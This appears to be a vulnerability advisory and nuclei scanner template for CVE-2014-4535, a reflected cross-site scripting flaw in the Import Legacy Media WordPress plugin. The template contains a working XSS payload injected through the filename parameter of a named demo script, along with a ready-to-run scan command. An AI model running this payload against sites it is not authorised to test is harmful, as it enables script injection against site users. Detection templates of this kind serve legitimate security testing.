Import Legacy Media <= 0.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.

Impact

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

Fix

Update to the latest version of the Import Legacy Media plugin (0.1 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/import-legacy-media/"
Send: GET {{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.…
Positive when: contains "'></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4535 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-4535

info:
  name: Import Legacy Media <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update to the latest version of the Import Legacy Media plugin (0.1 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4535
    - http://codevigilant.com/disclosure/wp-plugin-import-legacy-media-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4535
    cwe-id: CWE-79
    epss-score: 0.03983
    epss-percentile: 0.90582
    cpe: cpe:2.3:a:import_legacy_media_project:import_legacy_media:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "import_legacy_media_project"
    product: "import_legacy_media"
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,unauth,import_legacy_media_project,vkev,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/import-legacy-media/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from